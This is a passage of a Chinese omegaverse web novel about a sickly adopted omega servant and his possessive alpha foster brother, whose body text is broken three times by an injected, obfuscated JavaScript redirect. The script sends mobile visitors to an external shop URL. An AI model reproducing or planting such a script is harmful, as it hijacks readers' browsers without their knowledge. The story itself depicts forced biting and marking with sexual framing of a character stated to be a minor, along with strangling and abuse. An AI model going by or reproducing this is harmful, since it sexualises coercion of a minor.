当房门被猛然撞开时,祝青辞下意识后退两步,却很快被人压在了墙上,他一惊,剧烈挣扎,下意识就要飞起一脚,直到耳边传来一声沉闷的粗喘,仿佛被囚在笼中焦虑暴躁的野兽,低吼道:“别动。” 祝青辞听出那是戚珣的声音,绷紧的身体慢慢放松下来。 可下一刻,他整个人一僵,耳廓被什么又湿又热的东西舔吻过。毛茸茸的脑袋一路蹭上去,在他线条纤美的脖颈上轻轻地咬来咬去,嘴里神志不清地喊:“哥……” 自从戚珣认定祝青辞背叛了他,他就再也没喊过祝青辞“哥哥”。偶尔喊,也大多是在威胁或者讽刺他。 祝青辞当即震惊:“你喊我什么?……等等,什么味道?” 祝青辞一惊,室内不知什么时候被硝烟味溢满,仿佛有烈火熊熊燃起,肆虐地咆哮着将此间掩埋。 着火了?着火了!祝青辞这下终于急起来了,一把推开戚珣:“小……戚珣,你先等我一下!好像有东西烧起来了!” 彼时他第一次闻见戚珣信息素的味道,因此下意识认为烟味便是着火了。 然而他这番举动落在戚珣眼里,就是十足十地在抗拒他。 alpha眼睛都红了,不明白为什么自己求偶的对象要抛弃自己——明明他十分努力地用自己的信息素将整栋房子都笼罩,不让任何外界的人或物打扰。 易感期的alpha都有筑巢行为,每逢易感期,他们都会拼命地释放信息素,势必要在巢穴铺满气味,标记为自己领地,这样才能让伴侣安心。 可是眼下他的伴侣不仅没有安心,反倒露出惊惶的表情。他一时间大受打击,以为祝青辞不要自己了,当场就发狂,把往外逃试图灭火的祝青辞抓着脚踝拖回来。 祝青辞跌在地板上,一边安抚他,一边手忙脚乱地四顾,试图找出火源:“乖,小珣,别闹先……” 他察觉到戚珣的不安,于是无奈地叹了口气,把alpha放在自己的脖颈处,拍着他的脊背,语气温柔而包容。 戚珣只要一扭头,便能看见omega脆弱的腺体,可祝青辞无知无觉,殊不知自己是在以身饲虎。 “哥,哥……”alpha难堪地将头埋在祝青辞脖颈中,不断呜咽着,“疼,我好疼……” “哪里疼?” “牙齿……” 祝青辞已经不想纠正他的称呼了,他撬开alpha的嘴,蹙了蹙眉,从口袋里掏出一枚铁环套在拇指上。 alpha在易感期时常常会感到犬齿发痒,祝青辞拇指摁在alpha的犬牙上,慢慢地帮他磨牙。 “还疼吗?” 他说起话来总是轻飘飘的,却很温柔,令人安心地想要往他怀里钻,汲取他身上的气息。 “跟我在一起好不好?”戚珣几乎要哽咽出来,“哥你不要抛下我。” 祝青辞想说“不”,可是他一说出口,戚珣就伤心地睁大眼睛,一副不敢置信的模样,抱着他的双臂却越收越紧——终于,在祝青辞强撑着拒绝了十次以后,在差一点就被戚珣勒死之际,才勉强地点了点头。 他想,反正自己是被戚珣一家捡回来的,也应该报答他们。 他就这么轻而易举地将自己一生敲定,因此直到alpha将他的后脖颈几乎咬穿,将他残忍地临时标记时,omega依然安抚般地抱着他的脑袋,什么也有说。 ——可直到七天后,戚珣易感期结束,他一睁眼,就将祝青辞踹下了床。 “你为什么在我床上!”他崩溃地怒吼,“祝青辞你疯了?!恶心死我了!滚!滚!!!” “我就知道你不安好心,是那两个老东西派来控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731082|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制我的监视器,你……” 他差点扑上去把祝青辞杀了,可是omega摔在地板时连一声惊呼都没有,安安静静的。 直到有什么湿热的液体流到戚珣脚下时,他才发现omega的后颈在汩汩地流血。 祝青辞发起了高烧,被送往医院急救,他后颈处的腺体被咬得近乎溃烂,浑身上下都是青紫的痕迹,腰腹间更是有深红的指印,医院里的每一个医生用一种看虐待犯的目光谴责戚珣。 好在戚珣在易感期中似乎勉强保持了一丝理智,还记得omega未成年,没有标记他,否则祝青辞这般对他予取予求,恐怕短时间内连床都下不了了。 只是戚珣的易感期恢复了,却对祝青辞愈加厌恶。 他一直轰轰烈烈地恨了祝青辞这么多年,却被那个易感期的夜晚轻而易举地毁于一旦。 * 戚珣看着祝青辞那张茫然的蠢脸,愈发烦躁。 空气中依稀还能闻见蒋白止丝丝缕缕的气味,是冷淡的龙涎香。 他厌恶祝青辞身上沾染其他人的气味,这让他觉得脏极了——他是一个洁癖患者,既然祝青辞现在还属于他,他就不允许祝青辞身上有雪松林以及硝烟以外的气味。 他眯起眼睛,下命令似的:“转身。” 祝青辞睁大了眼睛,可当他被不耐烦的戚珣板着肩膀,压在床上,整个人抖了一下,“等一下,小珣……” “不等,等什么?”戚珣闻见了他身上的蒋白止的气息,张开嘴,亲吻上omega裸露在空气中的后颈,接着露出犬牙,慢慢地叼住那块后颈肉。 “在B班过得一定不好吧,跟我来A班怎么样?” 戚珣咬着他的后颈,眼中逐渐被某种深沉的眷恋占据。 祝青辞被迫扬起头,脖颈处的弧线苍白而脆弱。他的身体一下瘫软,呼吸困难,手指痉挛地攥住被单,却还是强撑着咬牙:“不……不行。” “为什么不行?哥不想跟我呆在一起吗?哥不是喜欢我吗?”戚珣鼻腔中都是祝青辞的味道,眼睛舒服得眯起来,像是一只被顺毛的大猫。 他舒服得头晕目眩,忍不住又开始用一种诱哄的语气撒娇般说道:“跟我一个班,每天都能看见我,还不会在B班受欺负,也不会莫名其妙地和不认识的男人勾搭上了……” 他描摹着一副看似很美好的图景,祝青辞却摇了摇头,“不行,我考进来的成绩只能达到B班,我……” “我一句话的事情。”戚珣说。 “可是……A班有特招生,如果我进来了,会挤占他们的名额,这对他们不公平。” 祝青辞又开始用他那愚蠢的善良了。戚珣想,世间哪有那么多公平不公平?都是权力的游戏罢了。 “怎么?”他阴恻恻地笑了一下,“你又想勾搭上谁?” “我没有……”祝青辞坚强地反驳,他不知道戚珣又是发哪门子疯,“我被人堵在厕所,昏过去了,一醒来就在这里……” 戚珣:“呵,这么说来,还是蒋白止主动将你抱过来的了?祝青辞,你以为蒋白止是什么人,他今晚有一场重要的宴会,你的意思是,为了你,他连那场宴会都不参加了,是吗?” “你以为你是谁?值得他为你驻留?你不会以为他是什么好人吧?” 他抱住祝青辞,锋利的犬齿往祝青辞的身体里注射信息素,祝青辞压抑着自己的呼吸一下乱了,忍不住叫了一声:“啊!” 临时标记的过程总是漫长且痛苦的,苦涩的硝烟味慢慢浮现,将原本清冷的雪松林包裹住,接着强制压下,慢慢侵入。 祝青辞刚醒来,浑身绵软无力,就这么被戚珣压在床上,又进行了一场临时标记,脑子里一时都是嗡嗡声。 房间内都是喘气声,一声粗重,一声压抑中带着一点哭腔,祝青辞的手胡乱抓着空气,被戚珣一手扣下,十指交扣地压在床上,祝青辞原本清冷的雪松林气息逐渐被硝烟味占据,从内到外,严丝合缝,他脚背一下子绷直,弧线如拉紧的弓弦。 “呃……疼……戚珣你轻一点咬……” 他艰难顶着戚珣沉重炽热,如毯子一样严严实实压下来的身体。连求饶都是轻飘飘的。 可他越温柔,越柔软,alpha就越想将他压在床上。 撕碎他,碾烂他,将自己埋进他温暖的血肉之中,再也不分开。 雪松林和硝烟气息交杂着飘逸出来。软得发腻的叫喊,偶尔夹杂着几声粗口,隔着门扉,清晰又模糊地传进蒋白止的耳朵里。 门外,蒋白止不知道站了多久,手里一根烟已经燃尽,烟尾烫到了他的手指,他才垂下眼睫,漠然地用皮鞋将烟踩在地上,碾得粉碎。 “疼了也不知道要跑,光叫喊有什么用,就这么随便给人咬?” 他冷嗤一声,不顾手上的烫伤,将刚刚沾染到的一点血液缓缓地碾在指腹之间,转身就走,眉宇间都是冰封似的冷淡。 “无趣至极。” 7. 第 7 章 99.9%的信息素匹配度带来的刺激感让戚珣脑袋一片空白。 怀中的躯体温热柔软,皮肉下隐约可以闻到雪松林融化后淌在雪地上的清香。 戚珣只感觉近日来连绵不断的烦躁被一扫而空,大脑一片轻盈,四肢百骸中仿佛有暖流流淌,整个人似乎被浸泡在温泉之中。 调查显示,信息素匹配度越高的伴侣,受信息素印象的情绪,乃至体质就愈加明显。 尤其是对于渴求信息素的alpha来说,高浓度的信息素无异于猫薄荷。 更遑论抱着omega,脸直接埋在人家后颈里整整一夜——以至于后面戚珣抱着祝青辞,渐渐地意识不清。 简而言之,戚珣爽晕过去了。 他最近接了个短片拍摄,经常要片场学校两边跑,忙得脚不沾地,每天睡觉时间不足五小时。 可他一心想要挣脱戚家对畸形的控制,他父母对他扭曲的期望,因此无论多苦多累,都硬着头皮强撑着。 他知道自己必须尽快独立,不然在与戚家这个庞然大物对峙的过程中,他随时有可能满盘皆输,更糟糕的是……当年的事情再一次重演。 ——就像是祝青辞五年前背叛他那样。 他醒过来时,祝青辞已经穿好衣服,焦头烂额地收拾着凌乱的校医室,嘴里忍不住念叨:“天啊我们居然在校医室里睡了一晚……天啊护士小姐昨天是直接离开了吗?天啊……戚珣是狗吗?嘶,后颈好疼。” 他一转身,就和戚珣面面相觑,当即闭上了嘴。 戚珣差点气笑了,从床上坐起来,磨了磨牙,“祝青辞,你皮痒了?” 祝青辞不吭声了,过了好一会,才道:“无论如何,以后不能在外面这样了……” 戚珣神色冷下来,“你是用什么身份在跟我说话?我的哥哥,还是我的仆从?” “……” 祝青辞哑然。 数年前的那场悬崖事故如鬼影一般,逡巡不散地缠绕着他们,成为他们之中永远也无法弥补的一道裂痕。 正是因为当初那么好,所以后面才显得他们之间的关系更加面目可憎。 祝青辞垂下眼睫,张了张嘴,狠着心肠,似乎想要说什么,左手腕上的黑晶手环却猝不及防地传来一阵微小的电流! 他一瞬间瞳孔扩散了一下,眼底浮现淡淡的水雾,喘了口气,却艰难地撑住旁边的桌子,没让戚珣看出他的不对劲。 眼前又浮现那个满是火烛的祠堂,他跪在冰冷坚硬的石砖上,耳畔铁一般冷硬的声音带着鞭子的破空声在他耳边炸响: “祝青辞,你被我们收养,就应该知道怎么才能当好一条合格的狗。我们是叫你保护他,不是叫你残害他,让他愧疚一辈子的。” 电流震得他头脑晕眩,他垂下眼,柔软漆黑的睫毛在眼睑下垂落出一片流动的阴影。 他一声不吭地站在那里,戚珣一看到他这锯嘴葫芦的模样,就一阵烦闷。 “有没有搞错,到底是你背叛的我?还是我背叛的你?装可怜给谁看?” 戚珣冷笑一声,不满地看着omega,omega烧已经退下,可脸色依然还有些苍白,仿佛一块冰凉的白瓷。 恐怕对于祝青辞这种,脆弱得要死,一只手就能捏碎的小白瓷来说,即使是临时标记,对他来说还是依然有一定的身体负荷。 如果完全标记,恐怕连床都下不来了。 想到这,戚珣才“哼”了一声,从口袋里掏出一张黑卡,恹恹道:“拿去。” 电流停下,祝青辞缓了口气,他已经习惯这种猝不及防的疼痛,于是他收敛好表情,疑惑地看向戚珣。 他不明白为什么戚珣每次咬完他脖子,就跟上完床的男人一样,喜欢给出补偿。 只是咬脖子而已,虽然有点痛,而且被弟弟压着也有点羞耻……好吧其实每次咬完还很困,每次他都要睡过去。 他承认他不喜欢被人咬脖子,但是如果是戚珣,他可以让步。 然而,如果戚珣听见了他这般“大放厥词”,恐怕要勃然大怒,什么叫咬了会很困!不应该被情|欲沾染、□□烧身吗! ——这跟质疑他行不行有什么区别! 那张黑卡不知是做什么用的,但如果丁宴在场,必定会大叫起来。 这是校园中极少的几张VIP通行磁卡。加德王立学院中不少设施只对王公贵族开放,有了这张卡,相当于祝青辞在加德王立学院中有着最高权限,可以在学院中畅通无阻。 戚珣声音别扭,挤牙膏似地一板一眼:“你之前不是说想看什么书,权限不够么。拿去。” 他扭过头去,耳根似乎红了,修长的两指夹住黑色的磁卡。 祝青辞本来想拒绝,一听到,忍不住动摇一下。 他给自己做了一下心理建设。嗯……只是借书而已,他又不是不会还。况且,之前他为了戚珣,还拒绝了丁宴的两百万。 他收下,对戚珣弯起眼睛:“好,谢谢你。” 戚珣飞快地瞥了他一眼,不知道想到什么了,又扭过头去,“你要借的什么书……权限居然还会不够。” 祝青辞后颈一麻,一时间有些心虚。好在戚珣临时标记他后,似乎心情不错,没有太过纠结,低头一看时间,才脸色一变。 “走。” 他提起祝青辞,就夺门而出,一辆红色的法拉利“刺啦”一声,停在校门口,他将祝青辞扔上后座,给他系上安全带,关上车门后,便一脚油门,扬长而去。 到了目的地祝青辞才知道他要做什么。 高楼大厦,人来人往,不远处是港口,隐约有轮船的汽笛声划破长空,货物有条不紊地吞吐着,进了门,大提琴悠扬的曲调飘荡在半空,头顶巨大的水晶吊灯如漫天繁星,灿烂华美。 一个穿着银色西装的男人迎面而来,向戚珣伸出手,笑道:“小戚总,百忙之中拨冗莅临,麻烦了。” 他手上五光十色,满是黄金与翡翠,甚至还挂上了价值超十万的超七水晶,颇为珠光宝气。 戚珣也笑了:“方总说得哪里话,是我麻烦您才对。” 他们一边欢笑交谈,一边往办公室走去,被称作“方总”的男人有些讶异地回头看了一眼祝青辞,“这位是内人?” “什么内人?仆从而已。”戚珣笑了笑,一副不放在心上的模样,“方总不介意吧?” “有什么介意,只是你这仆从,长相似乎还标志的。” 方总也笑。祝青辞看着他们打官腔,摩挲了一下左手的黑色手环,脑海里却在想关于军部的事情。 “——如果你想逃离戚家,军部是你唯一的机会。” 那张隐秘的信纸上提醒道:“祝青辞,我是看你救过我一命的份上,才告诉你的。你手上的这种黑枷,只有军部的人才有可能帮你解除。” “而且,如果你背叛戚家,唯一想活命的机会,只有进入军部。 军部是当今唯一一个游走独立于黑白两道的暴力合法组织,是最为特殊的武装机动队,即使是最顶级的豪门望族也动不了里面的人。” “军部的沈小军爷你听过么?他就读于加德王立学院,如果你有机会接近他——” “算了前言撤回,听说此人阴晴不定,喜怒无常,草菅人命,是个精神不太正常的疯子。你遇见他还是快跑吧。” 戚珣和方总有说有笑的声音如同隔了一层水雾,祝青辞一边盘算着关于军部的信息,一边又走神地想,戚珣这人也真是奇怪。 平时看上去幼稚又冲动,可是一到这种时候,身上又奇异地泄出一丝精明狡诈的气息,真叫人捉摸不透。 小时候却像个白团子,软绵绵黏哒哒地要往他身上贴,腿上抱。只是当年比他还矮了个头的弟弟,如今却已经比他高。 曾经同床共枕,睡前每夜都反反复复地说着同一个笑话,都能开怀大笑,如今却各怀异心,谁也不认得谁了。 方总将合同推给戚珣,戚珣笑着接过,又随意地挥挥手,指使祝青辞端茶送水,祝青辞倒是很听话的照做了——反正他的“卖身契”还在祝家,因此也没什么怨言。 他忙前忙后,每当说话时,都是压低着声音,方总只能听见隐隐约约的一些窃语,却莫名觉得悦耳好听,轻柔如母亲抚摸在面庞上的手一般。 他眼珠一转,莫名多打量了好几眼这个黑发蓝眸的少年。 这对主仆真叫人奇怪,分明戚珣才是那个片酬上百万的明星,一张脸长得不说雍容华贵,也算是价值连城了。 可两个人站在一起,叫人过目不忘的,却总是旁边这个看上去沉默温润的少年。 黑发柔软地垂下,贴在少年苍白的面颊处,一双眼睛居然是天空般的蓝色,如同倒映着天空的湖泊,眼睛很大,鼻子却秀挺而小巧,唇色寡淡,唇形却很饱满漂亮,看着莫名想叫人咬一口。 他就那么安安静静地站在那里,偏又抢走了所有本该在戚珣身上的目光——仿佛一幅淡淡的山水墨画,温婉娟秀,无一丝脂粉气,却又叫你挪不开眼。 方总顿悟,这恐怕是一个媚骨天成的omega——一时大为惊奇,这比他日常流连于会所见的莺莺燕燕,可带劲多了。 戚珣此时忽然出声:“方总,这份合同,你没有拿错么?” 他抬起一双平静的眼,声音还是温和可亲的,可眼神却慢慢冷却下来。 这是一份对赌协议——戚珣如果想靠自己成家立业,逃过戚家对他的管辖,不剑走偏锋,根本拼不过积累上百年的戚家。 方总却笑了,“小戚总说笑。我知道我们开的价位或许有些虚高,但是您也知道,最近市场经济不景气,我们不能平白无故就投资你数千万。” “不过,我与你有共同的目标——我们都想扳倒戚家。”男人身体缓慢前倾,十指交叉,放在打开的双腿中,一副充满阅历的成熟模样,空气中某种酒香逸散出来——他的信息素居然释放出来了! 方总眼睛一轮,慢慢定格在站在戚珣身旁的祝青辞,慢悠悠道: “不过我看,小戚总身边的这位小仆从乖巧听话,比我身边的人不知好了千倍、万倍,如果小戚总不介意,借我用几天,让我身边那些人学习一二——” “哗啦” 男人的话戛然而止,室内一片安静,方总身后的秘书震惊地瞪大了双眼,祝青辞也愣住了。 在场的人目光都集中在了戚珣身上。 少年一身西装,此时袖子解开了磁扣,露出一截瘦削有力的手腕。他手中拿着桌面上精致的茶壶,此刻,里面的所有茶水兜头淋下,将男人淋得透湿。 茶水滴滴答答地顺着男人的下颔流下,坠在价值不菲的地毯上,男人似乎呆住了,方才夸张的笑容还凝固在脸上,手尴尬地悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731083|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停在半空,一副没有反应过来的模样。 戚珣嗤笑一声,将茶壶“哐当”一声,又砸回桌面。 精致的大理石茶几被他砸得颤颤巍巍,那上万元从北欧运回来的茶壶经不起折腾,委委屈屈地碎了块边。 戚珣视若无睹,他坐回去,冷漠地一抬眼,两道刀削斧砍似的双眼皮往上一掀,露出一双漆黑无光的眼睛。 他笑了笑:“方总,贵司茶水不行,我帮你倒了,不介意吧?” 方总慢慢抬起头来,脸上的笑容消失了。 茶水淋湿了合同,一时间方才整洁干净的合同,眼下凌乱得宛若厕纸。 戚珣伸出手,屈指在这坨“厕纸”上敲了敲,眼神沉了下来,讥诮道:“况且,三年,三亿对赌协议,到底是方总太狮子大开口,还是对戚某太过信任了?” 坐在对面的男人浑身湿透,他沉默半晌,居然没有动怒。 他穿着一身淋湿的西装,却依然表现出了斯文败类般的好涵养,微微一笑,眼尾的皱纹反添他魅力。 “小戚总想不依靠戚家闯出一份天地,还是有份难度的。小戚总,我确实想与您合作,毕竟我们有共同的敌人——戚家,俗话说,敌人的敌人,就是朋友。” “可是小戚总可能太过年轻,把这些当儿戏了,“他一笑,”不过,合同我会为您保留,我等着下一次,我们或许可以正式合作。“ 戚珣理都懒得理他,拽过祝青辞的手腕,当场就走。 这场会面不欢而散。出了门,祝青辞才轻轻“嘶”了一声,挣脱戚珣的手,戚珣却抓他抓得更紧,他只能用另一只手拍了拍戚珣,“是不是太冲动了?” “冲动什么?”戚珣转过身来,眼底一片阴沉,上前掐住祝青辞的脸,“你听不出他什么意思吗?还是你真的想爬他的床?” 他眼神一片阴沉,整个人烦躁异常,死死地盯着祝青辞,缓慢开口:“我现在有些后悔把你放出来了……祝青辞。” 戚珣到底年轻,不懂得何为“做人留一线”的道理,方才还西装革履、斯文精英的外壳一下打碎,露出里面一个偏执又怨恨的少年,龇牙咧嘴地看着他的此生仇人。 祝青辞没放在心上,他轻轻拍了拍戚珣,把暴戾阴沉的少年放在自己颈窝里,顺着alpha的脊骨一下又一下地捋,像是在给一个大猫顺毛,温声道:“好啦,没关系的,慢慢来就好。” 他说话声音浅浅淡淡,却带着纵容感。戚珣默了默,在祝青辞看不见的角落里,他忍不住贪婪地嗅闻着omega温热的皮肉香气,头不自觉地埋在他的颈窝里蹭,恨不得得到所有气息。 “如果我能长在你的身体里就好了,”戚珣无言地想,“这样你这辈子都不会离开我了。” 天空阴沉地压下来,乌云在不远处高高堆起。他们一路沉默,开着车往学院的方向走。 开到一半,戚珣忽然说:“如果我从戚家独立后,你愿意跟我一起走吗?” 祝青辞怔了怔。 戚珣目视前方,车窗前,无数灰漆漆的树、电线杆、黑鸟从他两侧掠过,阳光艰难地从乌云中洒下一小块金光,又飞速被淹没,好似一个溺水的人。风卷起远处平田的茅草,依稀仿佛能听见九月的风声。 在一片幻梦般的景色中,戚珣说:“祝青辞,五年前你背叛了我一次,一年前你又趁我不备,趁我易感期对我动手脚。我现在可以再给你一次机会,只有这一次,如果你又背叛了我,” 他转过头来,一双黑漆漆的眼如同水鬼一般,透着水汽的阴森,他磨着后槽牙,缓慢道:“我就让你万劫不复。” “我再问你最后一次,我再给你最后一次解释的机会,” “你愿意跟我一起,逃离戚家吗?” 祝青辞无声地翕动了一下唇。 好。 “——不好。” 他敛下眼眸,摸了摸手上的黑枷,露出一个无害的笑容:“戚家对我挺好的,给我吃给我穿,如果不是戚家,我恐怕已经死在了那场泥石流中。” 戚珣看着他,慢慢地、慢慢地,笑了。 或许是天空太过阴沉,车内一片昏暗,祝青辞没看清戚珣的表情,他听见窗外下起了暴雨,随后是一声急刹,戚珣一脚将祝青辞踹下了车,漠然道:“那你就死在这里吧。” 这里是一个建在荒郊处的高速公路,公路两旁只有光秃秃的矮丘,黑黝黝的渐变衬出它们灰色模糊的轮廓,星星点点几颗七歪八扭的树。 祝青辞抬头望着天,一滴雨水从万米之上的高空降落,落在他的眼睛里,像是落入湖泊中的雨水,溅起细微的涟漪。 暴雨如注。 他感觉到自己的额头似乎又奇异地烫了起来。这大概是一副孱弱多病的身体,娇气得不像个仆从。 祝青辞叹了口气,眯着眼睛,艰难在暴雨中辨认方向,判断了一下高速公路的能见度,决定还不如翻出公路,离远一点。 免得被突如其来的车给创死。 一道刺眼的车灯却猛然撕破粘稠的雨幕,一辆银色的柯尼塞克“呲”地滑到他面前,慢悠悠地喷了一下尾气,接着,高精度玻璃车窗缓慢滑下,露出里面一个黑色的小卷毛。 丁宴探出车窗,嘴角露出一颗小虎牙,眯着眼睛呲牙笑道:“小仆从,怎么这么可怜,一个人在路上淋雨。” “需要我搭你一下吗?” 8. 第 8 章 “你往哪里走?上副驾。” 暴雨淅淅沥沥地砸在车窗上,祝青辞似乎很疲惫,他没有挣扎,一上车,丁宴就“啧”了一声,抱怨道:“我的车都被你坐湿了,你得赔我。” 祝青辞含糊地道了声谢,接过毛巾擦脸时,他手抬起来,湿漉漉的衬衫黏着他的腰滑上去了一截,露出一截苍白纤细的腰。 男生腰肢劲瘦,弧度软软地顺着后脊凹陷进去,雪白的肤色一片明晃晃,白腻得要命。 莹白的雨水顺着他的腰线缓慢下滑,一路顺着骶骨延伸向下,没入一片阴影…… 丁宴眼神直了一瞬间,等他反应过来,顿时脸色大变,如临大敌地往后仰,脸上嫌恶的神色一闪而过,嘴里却还念念有词,气势汹汹道:“祝青辞,你搞清楚你的身份!” “少把你那些下三滥的手段用在我身上,我告诉你,你是不可能勾引我成功的!你是omega,我也是omega,我们之间是不可能oo恋的!这辈子都不可能oo恋的!!!” 他看上去像是一只张牙舞爪的猫,凶恶极了。 “……”祝青辞擦脸的手一顿,他扭过头,露出一双微茫的眼睛,说:“可是我们两个男生,也不能在一起啊。” 丁宴:“?” 他差点从驾驶座上跳起来,抓住祝青辞的衣领,颇有些咬牙切齿的意味:“那你和戚珣是在玩吗?” 祝青辞嘴角顿时浮现浅浅的笑意,丁宴定睛一看,就知道他又在装无辜耍自己,忍不住气抖冷。 世界上怎么会有如此两面三刀之人?凭什么他在戚珣面前就又乖又软,在他面前,却要像一只狐狸一样将自己玩弄在股掌之中!看不起谁呢! 丁宴牙痒痒,威胁道:“祝青辞,你等着,我总有一天要向戚珣检举你!揭发你!你个毒妇!” 他气得要死,但是居然还是靠过来,给祝青辞系上安全带。 祝青辞鼻尖顿时一片海盐的清香,他忽然想起了海边贩卖的海盐冰淇淋。 一只海盐冰淇淋味的小河豚。 丁宴靠过来,不仅没有闻到那天隐隐约约的雪松林清香,反而闻了一鼻子硝烟味,连自己也没有注意到地失落起来,狐疑道:“怎么回事?你身上怎么都是……”戚珣的信息素。 “。” 丁宴想到了什么,骤然反应过来,顿时脸色暴红,“你你你”了半天,似乎不敢相信。 祝青辞看他那样,就知道这小孩又要骂自己轻浮浪荡了,于是挑了挑眉,轻飘飘地笑:“对啊,我们睡了一天一夜。” 一天一夜?!这信息素浓度,生|殖腔都要被*熟透了吧?! 他恨不得长出一个x光扫射机,把祝青辞翻来覆去扫射一遍,看此人究竟有多浪荡不检点,偏此时眼尖得很——他又瞥见祝青辞的手腕。 一道青黑色的指印烙印在omega苍白得几乎透明的手腕上,想起刚刚停车时,瞥见的这人微红的眼睛,一口气堵在胸口,气得快要死去活来。 “你……” 他只觉得男神在心中高高在上的形象崩塌——原来他们在床上还玩这么开吗?! 他一想到祝青辞被戚珣蒙住眼睛,抓着手腕将他锁在床头,而祝青辞却依然仍有他在自己身上撒泼为所欲为——脱口而出,嫌恶地骂道:“蠢货!你不知道拒绝吗!” “拒绝什么?”祝青辞迷茫。被咬一口而已,需要这么大反应吗? “你……”丁宴一想到他和戚珣亲近,一股醋意就从天而降,磨着牙,阴恻恻地道:“祝青辞,我好心载你上车,你少在我面前炫耀。你总有一天被玩死都不知道。” 祝青辞:“。” 好了,海盐冰淇淋味的小河豚又炸了,不知道戳到他哪根痛骨了。 然而他很快就说不出这种话了,回学校后,丁宴简直疯了一般,天天缠着他,下课纠缠,吃饭纠缠,就连上厕所,也要纠缠一下。 此人金玉其外,败絮其内,简直要将不安好心发挥到极致,包藏祸心地接近他,问的问题一个赛一个愚蠢,一个比一个窒息。 句式通常以“戚珣”为开头,以“他喜欢/不喜欢”为骨干,最后以“你说得肯定是假的,我要避开”为结尾。 他似乎完全忘记他问的是戚珣的男朋友,他名义上的情敌,然而,丁宴却不以为然。 若说加德王立学院中,最了解戚珣的,必然是与他共同起居,照顾他的祝青辞。 更何况,与祝青辞多接触,方能知己知彼,百战百胜,迟早有一日,他会了解祝青辞所有的缺点和不可言说的秘密,以此威胁他离开戚珣—— 这么一想,一箭双雕,两全其美,他简直是个天才! 祝青辞在图书馆时,好不容易翻到那本书——《枪械基础指导》,又被丁宴堵在了图书架之间。丁宴两手撑在他两侧,逼迫他无路可走,头低下来,“祝青辞,你说不说?” “说什么?”祝青辞无奈,“戚珣最喜欢吃的是鱼骨,最讨厌的是笨蛋,最习惯的颜色是黑色,最满意的花是玫瑰……” 丁宴呵呵冷笑两声:“我问你,你就告诉我?你难道忘记了,我们是情敌关系?肯定是假的。” 祝青辞无语。他试着推开,推不动:“。” “你看的什么?”丁宴一低头,皱眉,“《枪械基础指导》?” 祝青辞“嗯”了一声,“丁宴,你知道军部的考试在每年的什么时候,对考生一般什么要求吗?” 他问起问题时,声音常常会软下来,颇有些轻声细语的意味。 丁宴晃神片刻,下意识托盘而出:“军部每年有两场考试,上半年,也就是十二月有一场,下半年,大概是四月有一场。” “主要科目为笔试和实战,实战中分为:射击、格斗、潜伏、炸弹拆卸、后勤……等等,你问这个做什么?” 他猛地回过神来,忍不住有些懊恼。怎么每次一听祝青辞说什么,他就下意识地回答了呢? 这岂不是显得他很没有骨气?像是抛个骨头就“汪”地一声扭身去追的傻狗? 他堂堂丁家大少爷,怎能如此不值钱。 于是他很快就开启了嘲讽模式,一扬下巴,讥笑道:“哈,你也想进军部?就你?先不说你是omega,你连同为omega的我都比不过,就你这胳膊力气和废物般的身体,进去找死么?” 他喋喋不休,声音逐渐与许多年前,医院里影影绰绰的呓语重合。 【这孩子天生体弱,太可怜了。】 【早死的命……留着他,像是留着一只将死的猫。别在他身上花费太多感情。浪费。】 【他什么也做不了……活着有什么意义呢?】 医院,吊瓶,点滴,尖锐的针,惨白的床单,以及嘀嘀作响的冰冷的仪器。小祝青辞头上缠着绷带,坐在病床上,静静地听着门外的低语,看向窗外飘零的红枫,蓝色的双眸一片寂静。 “我知道我身体不好,可你偏要这样么。” 祝青辞静静地抬起一双眸。丁宴心莫名一颤,上扬的尾音仿若戛然而止的音乐会,脸上的笑容一僵。 他们之间静默,祝青辞推开他,这次倒是很容易就推开了。 他头也没回,丁宴看向他,书架庞大的阴影罩在他的上半身,他的表情隐没在阴影之中。 祝青辞回班后,瘦猴的位置已经空了。其余两个alpha看着他,表情莫名有些畏惧,他平静地坐在座位上,低头看着用戚珣的卡借来的书,忽然有些厌倦。 两个alpha偷偷看他,omega的表情恹恹的,他们瞬间像是夹紧尾巴的狗,一来我往地在课桌地下互踢。 “看吧,你上次肯定惹他生气了。” 一个alpha压低声音,忿忿道:“我就叫你不要凑瘦猴的热闹,他现在被揍得连床都下不了。” 另一个alpha大喊冤枉,“我哪知道瘦猴要对付的是一个omega,太掉价了!” “他今天看上去脸色好糟糕,是不是不开心……你有没有什么甜食,吃了可以让心情变好的那种?” “我堂堂男子汉大alpha,怎么会有甜食?你在瞧不起谁?” “要你何用?我怎么会有你这样的双胞胎哥哥,废物点心。” 他们你一言我一语,互相嫌弃至极地踢着对方的椅子,祝青辞抬起头,不明所以地看着他们,眉头微蹙。 “他瞪我……” “胡说,明明是瞪的我,他的眼睛好漂亮,像是两颗蓝宝石……” 两个alpha被蹙眉瞥了一眼,莫名更兴奋了,他们不约而同地想起上次祝青辞冷着脸,将瘦猴砸进玻璃里的模样,莫名面红耳热。 丁宴一整个上午,上课上得心神不宁,好不容易下课铃响,他“哗啦”一声推开桌椅站起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 